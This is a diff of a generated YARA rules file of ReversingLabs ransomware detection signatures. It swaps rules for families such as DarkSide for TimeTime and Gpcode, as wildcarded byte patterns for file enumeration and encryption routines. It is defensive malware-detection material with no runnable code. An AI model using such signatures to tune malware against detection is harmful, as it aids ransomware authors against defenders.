+            ?? ?? 50 51 6A ?? 6A ?? 6A ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 32
+            C0 E9 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 89 75 ?? 85 F6 74 ?? 66 90
+            FF 75 ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 56 8D 45 ?? 50 FF 75 ?? FF 15
+            ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 FF 39 7D ?? 76 ?? 83 C6 ?? 83 7E ?? ?? 0F 85
+            ?? ?? ?? ?? 83 3E ?? 0F 85 ?? ?? ?? ?? 8B 56 ?? 33 C0 66 89 45 ?? 8B C2 C7 45 ?? ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 58 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C3 8D 4D
+            ?? D1 F8 50 52 E8 ?? ?? ?? ?? 8B 5D ?? 8D 45 ?? 50 8B CB C7 45 ?? ?? ?? ?? ?? E8 ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ??
+            8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51
+            E8 ?? ?? ?? ?? 83 C4 ?? F7 46 ?? ?? ?? ?? ?? 74 ?? 8D 4E ?? 8B D3 E8 ?? ?? ?? ?? 47
+            83 C6 ?? 3B 7D ?? 0F 82 ?? ?? ?? ?? 8B 75 ?? E9 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF
+            75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 94 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B
+            4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
         }
 		$encrypt_files_p1 = {
-            55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ??
-            ?? ?? 53 56 57 33 C0 8B D9 68 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 51 89 5C 24 ?? 66
-            89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 94 24 ?? ?? ?? ?? 52 6A ?? 6A ?? 6A
-            ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 66 83 BC 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? BF ?? ??
-            ?? ?? 33 F6 8D 84 24 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ??
-            ?? 83 C6 ?? 83 C7 ?? 81 FE ?? ?? ?? ?? 72 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ??
-            68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? 51
-            53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 0F 8C ?? ?? ?? ?? 8B
-            7C 24 ?? 7F ?? 83 FF ?? 0F 82 ?? ?? ?? ?? 8B F0 89 7C 24 ?? 89 74 24 ?? 85 C0 7C ??
-            7F ?? 83 FF ?? 76 ?? 6A ?? 6A ?? 6A ?? 53 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            33 C0 50 8D 54 24 ?? 52 89 44 24 ?? 89 44 24 ?? 66 89 44 24 ?? 88 44 24 ?? 6A ?? 8D
-            44 24 ?? 50 53 C6 44 24 ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B C7 83 E8
-            ?? 8B CE 83 D9 ?? 33 F6 39 44 24 ?? 75 ?? 3B F1 75 ?? 8B 4C 24 ?? 3B 0D ?? ?? ?? ??
-            0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 50
-            E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 54 24 ?? 6A ?? 52 C6 44
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89
+            45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 8B 7D ?? 0F 57 C0 66 0F 13 45 ??
+            C7 45 ?? ?? ?? ?? ?? 8B C7 83 7F ?? ?? 72 ?? 8B 07 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ??
+            6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? 83 FB ?? 75 ?? FF 15 ?? ??
+            ?? ?? 32 DB E9 ?? ?? ?? ?? 8D 8E ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74
+            ?? 8D 8E ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 8E ?? ?? ?? ?? 6A ?? 8D
+            41 ?? 50 6A ?? 8D 56 ?? 51 52 89 55 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 53 FF 15
+            ?? ?? ?? ?? 8B 4D ?? 8B 45 ?? 85 C9 7F ?? 7C ?? 3D ?? ?? ?? ?? 77 ?? 8D 45 ?? 8B CE
+            50 E8 ?? ?? ?? ?? EB ?? 85 C9 7F ?? 7C ?? 3D ?? ?? ?? ?? 77 ?? 6A ?? EB ?? 6A ?? 8D
+            45 ?? 8B CE 50 E8 ?? ?? ?? ?? 8B 75 ?? 8A D8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 83
+            CE ?? 89 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D7 8D 4D ?? E8 ?? ?? ?? ??
+            83 C4 ?? 8D 45 ?? 83 7D ?? ?? 0F 43 45 ?? 83 7F ?? ?? 72 ?? 8B 3F 50 57 FF 15 ?? ??
+            ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ??
+            72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ??
+            33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? 83 FE ?? 74 ?? 56 FF 15
+            ?? ?? ?? ?? 8A C3 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ??
+            ?? ?? 8B E5 5D C2 ?? ?? E8 ?? ?? ?? ?? CC CC CC 55 8B EC 83 E4 ?? 81 EC
         }
 		$encrypt_files_p2 = {
-            24 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 79 ?? 48 0D ??
-            ?? ?? ?? 40 88 44 34 ?? 46 83 FE ?? 7C ?? 8B 44 24 ?? BE ?? ?? ?? ?? 85 C0 0F 8F ??
-            ?? ?? ?? 0F 8C ?? ?? ?? ?? 81 FF ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 85 C0 0F 8C ?? ?? ??
-            ?? 7F ?? 85 FF 0F 84 ?? ?? ?? ?? 85 C0 7F ?? 7C ?? 3B FE 73 ?? 6A ?? 6A ?? 50 57 E8
-            ?? ?? ?? ?? 8B F7 2B F0 56 E8 ?? ?? ?? ?? 8B F8 33 C0 83 C4 ?? 89 44 24 ?? 89 44 24
-            ?? 3B F8 74 ?? 50 8D 44 24 ?? 50 56 57 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 39 74 24 ??
-            75 ?? 6A ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 56 57 8D 44 24 ?? E8 ?? ?? ?? ?? 83 C4
-            ?? 6A ?? 8D 4C 24 ?? 51 56 57 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 FF 15
-            ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ??
-            ?? ?? 8B E5 5D C3 53 FF 15 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83
-            C4 ?? 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 6A ?? 68 ?? ??
-            ?? ?? 50 57 E8 ?? ?? ?? ?? 8B C8 89 44 24 ?? B8 ?? ?? ?? ?? F7 E9 C1 FA ?? 8B C2 C1
-            E8 ?? 03 C2 69 C0 ?? ?? ?? ?? 8B D1 2B D0 85 D2 7E ?? 41 89 4C 24 ?? 33 C0 89 44 24
-            ?? 3B C8 0F 8E ?? ?? ?? ?? 89 44 24 ?? EB ?? 90 8B 7C 24 ?? 8B 44 24 ?? 8B 4C 24
+            A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 8B 5D ?? 56 57 8B F9 89 5C 24 ?? 6A ??
+            8D 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 51 8B 17 8B 47 ?? 2B C2 50 52 FF 33 FF 15 ?? ??
+            ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 89 43 ?? 32 C0 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33
+            CC E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ?? 8B 44 24 ?? 8B 57 ?? 8B 0F 89 44 24 ?? 89 54 24
+            ?? 89 4C 24 ?? 85 C0 7E ?? 8B D8 8B 47 ?? 8B F3 2B 47 ?? 3B D8 52 0F 43 F0 8D 47 ??
+            56 51 50 E8 ?? ?? ?? ?? 56 FF 74 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 2B DE
+            8B 54 24 ?? 03 CE 83 C4 ?? 89 4C 24 ?? 85 DB 7F ?? 8B 5C 24 ?? 6A ?? 6A ?? 0F 57 C0
+            66 0F 13 44 24 ?? FF 74 24 ?? FF 74 24 ?? FF 33 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ??
+            85 C0 75 ?? FF D6 89 43 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? A1 ??
+            ?? ?? ?? 8D 4C 24 ?? 89 44 24 ?? 83 C4 ?? A1 ?? ?? ?? ?? 89 44 24 ?? A1 ?? ?? ?? ??
+            89 44 24 ?? 8D 87 ?? ?? ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 83 4C 24 ?? ?? 8D 44 24 ?? 6A ?? 50 68 ?? ?? ?? ?? 8D 44 24 ?? C7 44 24
+            ?? ?? ?? ?? ?? 50 FF 33 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF D6 89 43 ?? 6A ?? 8D 44 24
+            ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 74 24 ?? FF 37 FF 33 FF 15 ?? ?? ?? ?? 85 C0 75 ??
+            FF D6 89 43 ?? 32 C0 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C2
+            ?? ?? 8B 8C 24 ?? ?? ?? ?? B0 ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C2
         }
-		$encrypt_files_p3 = {
-            99 2B F8 1B CA 89 7C 24 ?? 89 4C 24 ?? 0F 88 ?? ?? ?? ?? 7F ?? 85 FF 0F 84 ?? ?? ??
-            ?? 8B C6 99 3B CA 7F ?? 7C ?? 3B F8 73 ?? 6A ?? 6A ?? 51 57 E8 ?? ?? ?? ?? 8B F7 2B
-            F0 85 F6 0F 8E ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B F8 33 C0 83 C4 ?? 89 44 24 ?? 89 44
-            24 ?? 3B F8 0F 84 ?? ?? ?? ?? 50 8D 44 24 ?? 50 56 57 53 FF 15 ?? ?? ?? ?? 85 C0 0F
-            84 ?? ?? ?? ?? 39 74 24 ?? 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 8B CE F7 D9 51 53 FF 15 ??
-            ?? ?? ?? 56 57 8D 44 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 54 24 ?? 52 56 57 53 FF
-            15 ?? ?? ?? ?? 85 C0 74 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 81 FE ?? ?? ?? ?? 7C ?? 83 7C
-            24 ?? ?? 7C ?? 7F ?? 81 7C 24 ?? ?? ?? ?? ?? 72 ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF
-            15 ?? ?? ?? ?? 8B 44 24 ?? 81 44 24 ?? ?? ?? ?? ?? 40 89 44 24 ?? 3B 44 24 ?? 0F 8C
-            ?? ?? ?? ?? EB ?? 53 FF 15 ?? ?? ?? ?? EB ?? 53 FF 15 ?? ?? ?? ?? 85 FF 74 ?? 57 E8
-            ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 68
+
+	condition:
+		uint16(0)==0x5A4D and ($enum_resources) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+}
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Timetime : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects TimeTime ransomware."
+		author = "ReversingLabs"
+		id = "27bff941-01ce-5bf7-a9d8-d01d2db3bfd3"
+		date = "2022-02-21"
+		modified = "2022-02-21"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.TimeTime.yara#L1-L75"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "43867dd793bc84e6f39ca2de1aff4047a742b295dc4df94cd337bd2ef89e4a62"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "TimeTime"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$rename_files = {
+            00 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 2B ?? 12 ?? 28 ?? ?? ?? ?? 0B 00 07 28 ?? ?? ??
+            ?? 16 FE 01 0C 08 2C ?? 2B ?? 00 00 07 07 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ??
+            00 00 DE ?? 26 00 00 DE ?? 00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ??
+            6F ?? ?? ?? ?? 00 DC 2A
         }
-		$encrypt_files_p4 = {
-            8D 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? B9 ?? ?? ?? ?? 8D
-            74 24 ?? 8D BC 24 ?? ?? ?? ?? F3 A5 8B 4C 24 ?? 6A ?? 89 8C 24 ?? ?? ?? ?? 8B D0 8D
-            4C 24 ?? 51 C1 FA ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? A1 ??
-            ?? ?? ?? 52 53 C7 44 24 ?? ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 53 FF
-            15 ?? ?? ?? ?? 33 C0 68 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 51 66 89 84 24 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8B 74 24 ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 8D 94 24 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 94 24 ?? ?? ?? ?? 52 56 FF 15 ?? ?? ?? ?? 5F 5E
-            5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 53 FF 15 ?? ?? ?? ?? 8B 8C
-            24 ?? ?? ?? ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3
+		$find_files = {
+            00 73 ?? ?? ?? ?? 0A 00 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 07 2C ?? 06 0C DD ?? ?? ??
+            ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0D 09 2C ?? 06 0C DD ?? ?? ?? ?? 02 72 ?? ?? ?? ??
+            6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 06 0C DD ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ??
+            13 ?? 11 ?? 2C ?? 06 0C DD ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C
+            ?? 06 0C DD ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 06 0C DD ??
+            ?? ?? ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 06 0C DD ?? ?? ?? ?? 02 72
+            ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 06 0C DD ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 06 0C DE ?? 00 02 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11
+            ?? 11 ?? 9A 13 ?? 00 06 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69
+            32 ?? 00 02 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 13 ?? 00 06 11 ?? 28 ??
+            ?? ?? ?? 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? 00 DE ?? 13 ??
+            00 00 DE ?? 06 0C 2B ?? 08 2A
         }
-		$find_MS_xchange_backups_p1 = {
-            55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ??
-            ?? ?? 53 56 57 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ??
-            8B 1D ?? ?? ?? ?? B0 ?? 88 44 24 ?? 88 44 24 ?? B0 ?? 83 C4 ?? C6 44 24 ?? ?? C7 44
-            24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 66 C7 44 24 ?? ?? ?? C7 44 24 ?? ?? ?? ??
-            ?? 88 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 66 C7 44 24 ?? ?? ?? C6 44 24 ?? ?? 88 44 24
-            ?? 88 44 24 ?? BE ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B FF 68 ?? ?? ?? ?? 8D 8C 24
-            ?? ?? ?? ?? 6A ?? 51 C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 56 8D 54 24 ??
-            52 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 8D 4C 24 ?? 6A ?? 51
-            E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 33 D2 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ??
-            8D 44 24 ?? 50 8D 4C 24 ?? 51 52 52 52 52 52 52 66 89 54 24 ?? 8D 94 24 ?? ?? ?? ??
-            52 6A ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF D3 6A ?? FF D7 83 C6 ??
-            FF 4C 24 ?? 0F 85 ?? ?? ?? ?? BE ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 8D 49 ??
-            68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 50 C6 84 24 ?? ?? ?? ?? ?? E8
+		$encrypt_folder = {
+            00 02 28 ?? ?? ?? ?? 0A 00 06 6F ?? ?? ?? ?? 0B 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 0C
+            00 00 08 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 FE 01 0D 09 2C ?? 00 16 13 ?? 16 13 ?? 08 73
+            ?? ?? ?? ?? 28 ?? ?? ?? ?? 8C ?? ?? ?? ?? 17 8C ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 08 19
+            73 ?? ?? ?? ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 00 DE ??
+            11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? 00 DC 11 ?? 16 FE 01 11 ?? 5F 11 ?? 5F 13 ?? 11 ?? 2C
+            ?? 00 08 28 ?? ?? ?? ?? 00 00 00 00 DE ?? 26 00 00 DE ?? 00 12 ?? 28 ?? ?? ?? ?? 3A ??
+            ?? ?? ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 2A
         }
-		$find_MS_xchange_backups_p2 = {
-            83 C4 ?? 56 8D 4C 24 ?? 51 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 6A
-            ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 33 C9 8D 54 24 ?? 52 89 44 24
-            ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 8D 44 24 ?? 50 51 51 51 51 51 51 66 89 4C 24
-            ?? 8D 8C 24 ?? ?? ?? ?? 51 6A ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF
-            D3 6A ?? FF D7 83 C6 ?? FF 4C 24 ?? 0F 85 ?? ?? ?? ?? 33 D2 68 ?? ?? ?? ?? 52 8D 84
-            24 ?? ?? ?? ?? 50 66 89 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 B1 ?? EB ?? 8D 49 ??
-            30 88 ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A ??
-            51 C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ??
-            ?? 52 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 51 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? 56 68 ?? ?? ?? ?? 6A ?? 68 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 54 24 ?? 6A ?? 52 E8 ?? ??
-            ?? ?? 83 C4 ?? 33 C0 8D 4C 24 ?? 51 8D 54 24 ?? 52 50 50 50 50 50 50 89 44 24 ?? 89
-            44 24 ?? 89 44 24 ?? 89 44 24 ?? 66 89 44 24 ?? 8D 84 24 ?? ?? ?? ?? 50 6A ?? C7 44
-            24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF D3 8B 8C 24 ?? ?? ?? ?? 5F 5E 5B 33 CC
-            E8 ?? ?? ?? ?? 8B E5 5D C3
+		$encrypt_files = {
+            00 02 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 08 2C ?? 38 ?? ?? ?? ?? 02 7E ?? ?? ?? ?? 6F ??
+            ?? ?? ?? 0D 09 2C ?? 2B ?? 02 28 ?? ?? ?? ?? 0A 06 8E 69 8D ?? ?? ?? ?? 0B 16 13 ?? 2B
+            ?? 00 06 11 ?? 91 13 ?? 11 ?? 17 58 D1 13 ?? 11 ?? D2 13 ?? 07 11 ?? 11 ?? 9C 00 11 ??
+            17 58 13 ?? 11 ?? 07 8E 69 FE 04 13 ?? 11 ?? 2D ?? 02 07 28 ?? ?? ?? ?? 00 02 02 7E ??
+            ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 02 28 ?? ?? ?? ?? 00 02 28 ?? ?? ?? ?? 00 7E
+            ?? ?? ?? ?? 02 6F ?? ?? ?? ?? 00 2A
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ( all of ($find_MS_xchange_backups_p*))
+		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ($encrypt_folder) and ($rename_files)
 }
-rule REVERSINGLABS_Win32_Ransomware_Darkside : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Gpcode : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects DarkSide ransomware."
+		description = "Yara rule that detects Gpcode ransomware."
 		author = "ReversingLabs"
-		id = "061b00cb-9b70-521f-ab3f-7e6b3c129194"
-		date = "2021-05-17"
-		modified = "2021-05-17"
+		id = "168833dd-44ab-59e1-a610-b9219b2907ff"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.DarkSide.yara#L1-L94"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "128af9a1b143e4b0928dd2b243e69497be906175f44815cc5703f17cce48ec9d"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Gpcode.yara#L1-L67"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "329309873977f73a8ebe758018ebc8ba42e15c3c7cbb9a65865631d235f5bb48"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -25266,70 +26400,338 @@ rule REVERSINGLABS_Win32_Ransomware_Darkside : TC_DETECTION MALICIOUS MALWARE FI
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "DarkSide"
+		tc_detection_name = "GPCode"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files_v1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 51 52 56 57 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
-            83 7D ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 04 45 ?? ?? ??
-            ?? 50 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ??
-            ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? E8 ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 8D 85 ??
-            ?? ?? ?? 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8D 9D ?? ??
-            ?? ?? 83 3B ?? 74 ?? 81 3B ?? ?? ?? ?? 74 ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8D 85 ?? ??
-            ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 83 7D ??
-            ?? 74 ?? FF 75 ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 45 ?? 5F 5E 5A 59 5B
-            8B E5 5D C2
+		$drive_loop = {
+            B9 19 00 00 00 BB 01 00 00 00 D3 E3 23 D8 74 ?? 80
+            C1 ?? 88 0D ?? ?? ?? ?? 80 E9 ?? C7 05 ?? ?? ?? ??
+            ?? ?? ?? ?? 50 51 E8 ?? ?? ?? ?? 59 58 49 7D
         }
